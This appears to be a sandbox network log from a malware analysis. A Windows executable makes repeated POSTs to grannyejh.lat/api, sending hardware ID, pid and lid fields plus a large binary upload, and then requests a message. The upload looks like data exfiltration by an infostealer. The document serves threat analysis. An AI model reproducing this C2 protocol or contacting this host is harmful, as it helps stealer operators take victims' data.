2024-12-19 07:40:29 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NUYNOCHGBM5XQC5AU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20395 Host: grannyejh.lat
2024-12-19 07:40:29 UTC	15331	OUT	Data Raw: 2d 2d 4e 55 59 4e 4f 43 48 47 42 4d 35 58 51 43 35 41 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 30 38 39 41 39 31 31 36 44 31 38 35 37 32 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4e 55 59 4e 4f 43 48 47 42 4d 35 58 51 43 35 41 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 55 59 4e 4f 43 48 47 42 4d 35 58 51 43 35 41 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --NUYNOCHGBM5XQC5AUContent-Disposition: form-data; name="hwid"69089A9116D18572AC8923850305D13E--NUYNOCHGBM5XQC5AUContent-Disposition: form-data; name="pid"3--NUYNOCHGBM5XQC5AUContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-19 07:40:29 UTC	5064	OUT	Data Raw: 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-19 07:40:30 UTC	1123	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l9i4hpahso85i880ui28li965s; expires=Mon, 14 Apr 2025 01:27:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ktIMP%2F6C89nwCpDso%2BCNqZrA8OpWnpKR6tisdWr9nc8hNQlv8MYK1cN2Rfvyd5bjEEaAgfiyyX4a208luuCx43d42m6sz7Knv48sDeTpP6%2B46Xv8AHyY42AzYbbtEi%2FJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45beae49b7c413-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&min_rtt=1485&rtt_var=566&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21353&delivery_rate=1918528&cwnd=173&unsent_bytes=0&cid=90822f16f840ea6e&ts=987&x=0"
2024-12-19 07:40:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:40:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49710	104.21.64.80	443	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:40:32 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GDCYUZ3107FFA62X7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1233 Host: grannyejh.lat
2024-12-19 07:40:32 UTC	1233	OUT	Data Raw: 2d 2d 47 44 43 59 55 5a 33 31 30 37 46 46 41 36 32 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 30 38 39 41 39 31 31 36 44 31 38 35 37 32 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 44 43 59 55 5a 33 31 30 37 46 46 41 36 32 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 44 43 59 55 5a 33 31 30 37 46 46 41 36 32 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --GDCYUZ3107FFA62X7Content-Disposition: form-data; name="hwid"69089A9116D18572AC8923850305D13E--GDCYUZ3107FFA62X7Content-Disposition: form-data; name="pid"1--GDCYUZ3107FFA62X7Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-19 07:40:33 UTC	1116	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cbbpv09iqnadd53egmfj1tv989; expires=Mon, 14 Apr 2025 01:27:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=97obaAmyEEJWJbUWdqcuyuvY2XO8a9SzJPqZLeKtWB7ncD%2FPhJUYQxde8BorCBzvVI4gaoONp0lR88YrkbZxDIhu4mehSjh3mV4cuAD03Zt7Q1zvNxvGGR%2Bj4Sf34cQ9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45bebee8bf4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1591&rtt_var=603&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2146&delivery_rate=1803582&cwnd=172&unsent_bytes=0&cid=31f0ffc37cfce4e2&ts=802&x=0"
2024-12-19 07:40:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:40:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49716	104.21.64.80	443	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:40:34 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WFNKAJ7CPX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552633 Host: grannyejh.lat
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: 2d 2d 57 46 4e 4b 41 4a 37 43 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 30 38 39 41 39 31 31 36 44 31 38 35 37 32 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 46 4e 4b 41 4a 37 43 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 46 4e 4b 41 4a 37 43 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 57 46 4e 4b 41 4a 37 43 50 58 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --WFNKAJ7CPXContent-Disposition: form-data; name="hwid"69089A9116D18572AC8923850305D13E--WFNKAJ7CPXContent-Disposition: form-data; name="pid"1--WFNKAJ7CPXContent-Disposition: form-data; name="lid"PsFKDg--pablo--WFNKAJ7CPXContent-
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: c6 43 4a 1b 73 16 43 d1 80 1e b3 54 fd d4 84 b1 b8 54 9b 71 ce 09 62 18 48 21 98 f6 72 4a a6 43 1e 0e c4 a6 71 6e 9b 1a c6 89 66 3b 54 f0 c8 b6 c1 14 d1 dd 32 0d aa 1f e7 63 5a 44 d9 7f 46 4c c1 1e 29 da e5 6d 28 76 74 8f 5a ca 8f 8e 4b db 5d d7 65 23 82 13 b4 a8 55 d0 f1 02 37 28 ab 7d bb db cd 83 f7 c6 1b fc 10 5d 8f 93 b4 d4 ac b7 18 5b 23 bf a1 38 ab bf 5a 7a ca f8 84 85 83 14 85 c4 c8 42 44 e5 aa c6 6c de 0a f0 3b 40 55 86 82 08 60 66 00 cd e2 d8 8e 5e fe d3 34 b4 4c ce 0e 22 4d 34 d6 7f 4e 69 e3 4e 18 dd 7c df 2d 11 1b 70 a9 35 35 d2 34 22 7c 80 e7 ec 41 2a 44 9a eb bf ff cc f2 8c ce d5 15 c8 a5 d3 b2 3e 33 b2 fe e7 87 1b 3c 1b 66 2d 8a 54 85 b1 d1 a2 89 a9 1c 46 52 67 12 db db d1 7c bc 2e 9e 2b b2 e8 cd 43 92 83 7d f1 22 a8 b7 7c c4 fd 7b 4f ec b8 Data Ascii: CJsCTTqbH!rJCqnf;T2cZDFL)m(vtZK]e#U7(}][#8ZzBDl;@U`f^4L"M4NiN\|-p554"\|A*D>3<f-TFRg\|.+C}"\|{O
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: c8 25 aa a7 9d d9 4e 01 45 66 0c 2a 3f 38 3c 7f e6 8c 41 bc be 3a 36 f4 5f ce 42 88 af 13 0d 3a c0 fa 03 a2 da 8e 8f 97 7c 94 7f f2 a7 60 c9 45 f1 3d 05 a2 d0 45 d0 ea 26 fb e0 f7 bf 2b f6 79 92 e7 b6 d1 cc ee 3f 89 5a c0 27 41 90 c2 07 ed e1 15 5c 01 d7 47 9c 6e ee 9c 9a 67 37 fd a3 49 5c 81 62 b7 02 f8 57 46 a3 40 32 02 de 77 e2 3e 46 68 22 de a6 4b 52 79 2b d7 4f a8 80 cc 30 44 d5 2c 5e 3b 4a 4a 87 67 f1 a5 48 92 56 1b 1b a8 b2 99 85 ac 65 85 34 ac 94 68 76 bd ef b4 06 f7 13 5e bd 83 97 47 b1 40 98 7b eb e5 fb 8b 98 d4 25 a5 9b 3d 78 0d 57 60 02 e8 4a 89 99 99 0d 46 15 28 0f 4c ea d4 50 94 1d 62 d3 75 6c df 2b 4c ed 74 ad e5 fc 51 1f 1d 53 de 65 eb 8a 1a 97 2f b8 84 7f f1 99 21 fe 9e 99 f6 f6 1f 21 3d b6 2f 57 61 d1 9a b0 26 b6 f1 11 ce 8a 24 df 5f 1e Data Ascii: %NEf*?8<A:6_B:\|`E=E&+y?Z'A\Gng7I\bWF@2w>Fh"KRy+O0D,^;JJgHVe4hv^G@{%=xW`JF(LPbul+LtQSe/!!=/Wa&$_
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: db 83 30 15 75 10 a5 ea 7f d3 64 2e f4 1c e3 84 9e 45 ee 35 be fe 48 5c fa 52 66 1c fe 8b 50 ad 89 a6 99 c1 44 40 b4 8f 7a ed 2a 47 79 9d 34 13 49 46 d1 86 4c 68 97 20 8a 0c c6 53 88 a3 9c 1b fa 79 d6 dd 0d ea 56 e2 78 8d 05 fd ba 3c de 59 10 e5 e2 ce 2d 3e 50 70 11 08 a0 a9 dc c0 e3 bf 06 92 3f da 2e eb b1 0d e1 2a 94 55 a8 3c 75 3f 12 31 2c 35 97 f0 a1 92 f1 c0 9e 91 1b 4b 4c 5b e5 ec 45 fe f1 ef 71 0e 73 67 8a f4 92 1b 94 e5 8f 9b 40 35 fe f8 42 e8 40 d5 89 01 4c 07 9a 29 b9 f1 ed b1 b5 39 b1 bb 0c f3 a9 12 c3 c5 e1 ff 2a 33 7d 39 f7 81 93 3f db b8 5b 35 3e 98 aa 51 8f c5 11 5b 46 f1 f7 1e 50 f4 f1 29 47 68 a9 fd 96 c6 32 34 d9 09 64 3f c6 ca 19 dc e6 20 8e 64 7e 31 a1 8d 1c 52 c1 59 18 34 54 1a 34 3b c9 60 5e 84 a6 10 cf 3d 9c 14 e9 fa 9b e0 0f 8e 72 Data Ascii: 0ud.E5H\RfPD@zGy4IFLh SyVx<Y->Pp?.U<u?1,5KL[Eqsg@5B@L)9*3}9?[5>Q[FP)Gh24d? d~1RY4T4;`^=r
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: ba 8d 63 64 cc de 96 52 a0 fd 23 01 46 25 8d 97 ec 18 ed 43 8c 5d ff 3b 14 6b 05 9f 19 be 02 6f 27 ee 93 8a 95 e8 dc c1 a4 d9 4e bf 08 fa 48 e9 99 71 8a af 46 02 36 7a f5 ff 2f e3 86 81 62 3b 14 2d 3b 09 b8 91 e9 8f 11 ee 42 f1 36 00 14 6f 11 0a 2f db 4c 2d a2 f0 1c b7 7c 71 72 7b ef 6c 88 0c 52 46 66 7e 6b a0 75 b6 1b ce 77 7d c1 22 d5 f2 cc 36 c2 ba 67 f7 26 9a 7d 90 95 8e 0c b9 82 e4 6a b1 78 ad b6 9d 68 41 64 d5 90 36 bc df ab 79 ab 61 18 2b 08 4d 9b 57 12 35 f8 f7 c9 2e 52 2e 9a 90 50 24 49 c9 8d 45 89 49 d9 df e9 91 a8 dd b9 02 52 3a be e5 38 a5 6d ab 84 66 e5 18 a5 93 d3 46 6a c5 5c 2b 48 5d 14 5c f1 d9 90 55 a8 c5 44 77 0b e7 01 ab 11 d9 fe 08 f1 7d 07 31 69 c1 ac 6d 7a 1a e9 11 3c 3e cf 2f b0 7d 39 02 a2 c7 85 7a b1 f7 09 c7 16 17 47 cf d7 80 20 Data Ascii: cdR#F%C];ko'NHqF6z/b;-;B6o/L-\|qr{lRFf~kuw}"6g&}jxhAd6ya+MW5.R.P$IEIR:8mfFj\+H]\UDw}1imz<>/}9zG
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: 82 8e 1b 6b 7f bb 3d 85 33 a3 c8 3c 18 d5 29 c9 dd 81 1f 32 a3 97 bd cd f3 e2 f2 cb 77 03 e4 bd 70 ae 3c c5 51 c6 0d 24 2f 74 f7 0a 9e 4c c2 52 43 f8 24 b4 9e f7 ab 8d 63 3e f9 0a aa 33 c5 a4 c2 34 00 73 5c d0 a2 a2 c8 89 91 67 1f f7 46 76 90 5e 68 cb c3 b5 e8 5d b7 f2 40 8c f5 99 70 6b 6e 2c b9 6a 76 2a 36 f9 a4 82 ec fd ba 58 71 6a fc 1a c7 40 84 f0 89 1b a4 a8 4b 74 b1 13 4d 8b d9 42 27 ec 23 7f 96 99 33 cc 83 dc 78 8c bb 76 1f 8b e2 0f 9e 5a 7b 47 5f 6d 20 a8 1f 43 5b d5 cb 66 fc 23 0e cf fe 1d 3e d0 6c 53 09 96 1d 74 43 63 a3 e1 8a 9e a0 9b 22 bd d9 ff 69 df f1 70 7b 7b 7b d3 93 d3 ec 84 d8 ec 1f e7 4e 31 f5 b3 ce 31 0a 2e 2e 7c 31 e1 6f 8a d7 3a df 5a c2 14 21 0f ad e1 8d a4 be 31 3a 42 16 fb d0 bd d1 26 0b 46 ca 73 d7 a7 e3 54 79 de b5 19 48 2e 23 Data Ascii: k=3<)2wp<Q$/tLRC$c>34s\gFv^h]@pkn,jv*6Xqj@KtMB'#3xvZ{G_m C[f#>lStCc"ip{{{N11..\|1o:Z!1:B&FsTyH.#
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: ef 17 ef 7d 17 59 a4 b9 58 24 2a 27 07 13 92 29 a5 9d 07 b0 07 8a 91 f1 6f ef 8c 66 7a 86 91 43 cf e9 6a 79 87 49 ec 35 7b 19 9b 24 ce 59 b0 06 b7 32 4e 1e 35 29 ba eb c3 db e3 d9 f7 e7 c2 17 bf 4f ff 04 9f 95 73 98 7f 3e 74 76 fd 42 a9 58 ff f1 92 cc ac bb e1 b4 1f 55 7b 87 3a 33 b7 50 5c 6e 5a 0b 4b a4 a2 21 b7 54 45 2d f7 d5 db 7c eb fe be 6f be d1 cb 24 3d e6 ff fa 82 68 98 f1 f3 da 78 d3 5f ca b7 8e 43 6e 8b f3 15 d8 af 9b 25 f5 ff 7d 6e fe db d5 ae 1a 49 a7 c2 de c1 d2 dc c4 9a 0e 9b 2e 1f 94 7a ef f3 7e 38 c2 14 56 5f b4 df 19 78 e0 2e e9 ad d7 ae 26 84 6e b5 9e 4f 52 f3 7b 33 a3 e5 28 94 45 5d 74 2b f4 7f 33 63 e3 b4 9c 6b ed 14 54 ba 74 65 bb d8 d6 29 a8 62 fa 15 4c 95 59 3b a4 56 fa be 3f d1 69 2d 37 6c 1a 9d fd 94 91 9a db d4 66 35 ff a8 2d b8 Data Ascii: }YX$*')ofzCjyI5{$Y2N5)Os>tvBXU{:3P\nZK!TE-\|o$=hx_Cn%}nI.z~8V_x.&nOR{3(E]t+3ckTte)bLY;V?i-7lf5-
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: 5a 63 78 97 d1 c9 26 72 f2 a6 0d 89 24 12 a1 be c1 d3 ee 32 56 83 0f 4f 8f 20 c6 21 dc e6 44 55 49 54 43 c3 5f e2 ae 29 14 1c 6b 6a 4f 49 31 e7 27 db 33 07 81 9f 50 ce e4 fb 31 cb 49 ae f3 b1 1b b7 3f c4 c4 ed 18 a3 c2 a3 82 51 70 19 21 6a f2 b8 44 fe 62 7f a0 77 c2 9d 3f 7d 2e d1 f0 e1 58 4e e0 4e d8 56 49 e1 ee 3d 7f 70 9f aa 41 f4 dd a8 60 e5 35 ab a2 44 c4 7d 89 a1 8b c0 55 be 56 e8 da d7 77 62 ea 35 06 fb ef 38 f9 31 3b 46 5d ae d5 e0 36 8e b1 dc 46 9d be 2d db a0 a1 e3 86 2d 9b e1 d6 48 20 c8 3e f0 ef 3d bb 23 6a aa e0 15 e2 45 8b 5b e5 28 42 df 59 aa bb 41 bf 5e 86 74 d9 7b 63 e7 e3 f8 6b 9e d6 d2 a9 ba ca 4a 3f af 4a 40 18 a4 64 bc 64 2c 4b b9 8f 4e 22 e6 a4 bd ef 2d cc 04 37 f5 fc 14 24 33 53 f0 42 88 57 d2 45 ed 3f cc ad 57 a0 e0 e6 10 1d b6 8b Data Ascii: Zcx&r$2VO !DUITC_)kjOI1'3P1I?Qp!jDbw?}.XNNVI=pA`5D}UVwb581;F]6F--H >=#jE[(BYA^t{ckJ?J@dd,KN"-7$3SBWE?W
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: 14 f7 e5 0f 47 88 d0 4c 1e e7 d6 2f b0 a3 3e 24 14 fb 8b 95 59 20 c8 a6 1b 60 85 c0 20 e9 a2 be c9 12 1f 13 18 2a 6a 35 b1 e1 6e 6a 40 7d 7a d8 8d 9c 8c 70 cd 69 5a 8d e4 ff 13 e7 e5 4e 7b 60 3b f5 79 7a 7a 42 9f ed 2d c0 d2 21 3e ca 34 5d 4f c1 e3 85 bc 6e 60 89 51 59 08 d2 a9 c0 93 27 a3 43 d5 e6 02 21 ae df ef 01 2a 7b 54 f4 6b 10 73 73 81 bd 4c 4e 44 e9 9b ea 5f cb de 6a 75 a5 3a 0d bb b0 af 9b 9d 54 3d 5f a9 a6 7b 61 fe 7f c7 48 a4 e9 42 9f ad 7e 37 30 07 00 68 bd 0a ca d8 67 9f 3a c7 fc 8a 62 ac dd ee 7a 72 f1 c6 06 4f 74 7b 8f 44 e1 91 4b 13 9d 79 45 a5 ec 12 b7 8f a7 3c 7b 96 99 62 8a 15 21 61 89 e8 94 82 50 03 a1 b6 49 11 11 22 75 b0 f9 eb f1 a8 85 47 e4 a2 48 ee 8b 9a 7f 87 b9 2b 50 67 fe f7 f8 c9 fd e4 73 a6 60 64 9a fe 4a 22 55 82 53 ef c3 68 Data Ascii: GL/>$Y ` j5nj@}zpiZN{`;yzzB-!>4]On`QY'C!{TkssLND_ju:T=_{aHB~70hg:bzrOt{DKyE<{b!aPI"uGH+Pgs`dJ"USh
2024-12-19 07:40:34 UTC	15331	OUT	Data Raw: 3d dd 08 93 57 7a a0 6c fc cf 03 1c 08 bb 89 0a de ba 4b d0 68 7b 9f f2 11 f7 22 5d 51 a4 9a 64 9f 84 b0 0d 16 8a b1 a1 ce 7b 6b fc d4 fb 35 1a ef 5c 25 be b9 8e e7 f3 5f f9 51 59 fd a1 c6 a1 37 ab 3e 36 92 d7 42 64 d3 2b 81 bb a6 11 27 72 b8 dc 69 4d fc 3a e9 fa 93 94 8a bb c1 22 11 c3 ab d6 3e 9c 08 d3 57 dc e4 8b 67 07 7c 8e f2 53 b9 89 10 c7 e7 f9 9a 16 e6 41 e2 bb c2 d2 68 c6 fd fb cc c2 c5 17 9f af 23 1d a5 40 fe 36 68 a2 54 e4 99 02 e8 6e 85 f8 d1 ac 29 bc 14 bf 61 61 78 37 5d b8 5b 5b e4 c8 8a fb 2b c5 67 1f a1 6e 08 df 79 20 6c e7 27 04 39 53 41 56 31 fa 45 8f 73 66 c4 09 c5 43 86 66 ed 88 da 20 50 f4 ec 09 9f c1 a6 f2 4d 69 72 19 34 ef b6 de b1 a1 0b 52 eb 0c 76 13 8c 39 5a 38 69 d2 2a 8c 81 15 ea a4 bc 0d 21 18 a6 95 10 eb 67 7f 23 c4 7e 2b b8 Data Ascii: =WzlKh{"]Qd{k5\%_QY7>6Bd+'riM:">Wg\|SAh#@6hTn)aax7][[+gny l'9SAV1EsfCf PMir4Rv9Z8i*!g#~+
2024-12-19 07:40:37 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=93qjth0bjpq1regl4pe7t0tk10; expires=Mon, 14 Apr 2025 01:27:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xzKN2%2Bc7pNXS4MyhnwQ9ZhBRc6O6BF%2B7nC8GHa7QuEstOP6aqoo4980tyGre%2FHpb2UaSnjGy4KXeFLf6r%2B%2BajaVrRN5rG2NwdtPU62vYgpp%2Bi4JYPOBgr1VcPMNJBkqh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45bece1e3b43ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1598&rtt_var=608&sent=321&recv=575&lost=0&retrans=0&sent_bytes=2829&recv_bytes=555125&delivery_rate=1787025&cwnd=230&unsent_bytes=0&cid=d496284297639996&ts=2388&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49725	104.21.64.80	443	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:40:38 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-19 07:40:38 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 36 39 30 38 39 41 39 31 31 36 44 31 38 35 37 32 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=69089A9116D18572AC8923850305D13E
2024-12-19 07:40:39 UTC	1115	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mt1uqqlabdruulbtsr7b7fng3a; expires=Mon, 14 Apr 2025 01:27:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FGmJPujYLiCfsw9rb3ZvQPJzgCcW5N0Valtii7tOIrGDeuitU3dRb9bdvPbYZHfcdG5R4MHVwVPT0h40O%2FbzIE1qLPfUWr4QzRpQKmv8WHllt8ek9Ti0e3qhCqMz0rkh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45bee59c977ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1890&min_rtt=1882&rtt_var=712&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=979&delivery_rate=1551540&cwnd=243&unsent_bytes=0&cid=657985f4f20be0ae&ts=829&x=0"
2024-12-19 07:40:39 UTC	214	IN	Data Raw: 64 30 0d 0a 6d 39 78 4c 59 75 54 45 63 38 61 32 67 67 45 64 4e 49 70 31 58 68 31 45 6f 63 38 55 56 5a 67 34 57 41 50 50 57 42 63 6e 38 32 54 41 70 32 6b 58 78 76 35 52 72 73 4c 32 63 53 64 6f 70 53 6c 78 4c 48 79 55 34 53 5a 6b 72 52 5a 70 4d 76 78 32 4a 68 47 76 53 2f 53 36 4c 54 37 4c 6f 42 61 67 6d 4f 64 35 65 42 61 6d 56 7a 68 70 5a 70 76 2f 4f 48 66 39 47 6d 49 7a 73 6e 52 73 42 59 5a 47 6f 66 34 6a 46 70 43 30 53 5a 71 5a 33 69 34 73 44 4c 39 62 62 43 78 78 6a 2f 34 6c 5a 72 59 4a 62 6c 2f 67 4b 32 4e 43 6b 67 6e 48 38 7a 6b 44 69 71 41 63 71 35 6a 6e 65 58 67 57 70 6c 63 34 61 57 61 62 2f 7a 68 33 2f 52 70 69 4d 37 49 46 0d 0a Data Ascii: d0m9xLYuTEc8a2ggEdNIp1Xh1Eoc8UVZg4WAPPWBcn82TAp2kXxv5RrsL2cSdopSlxLHyU4SZkrRZpMvx2JhGvS/S6LT7LoBagmOd5eBamVzhpZpv/OHf9GmIzsnRsBYZGof4jFpC0SZqZ3i4sDL9bbCxxj/4lZrYJbl/gK2NCkgnH8zkDiqAcq5jneXgWplc4aWab/zh3/RpiM7IF
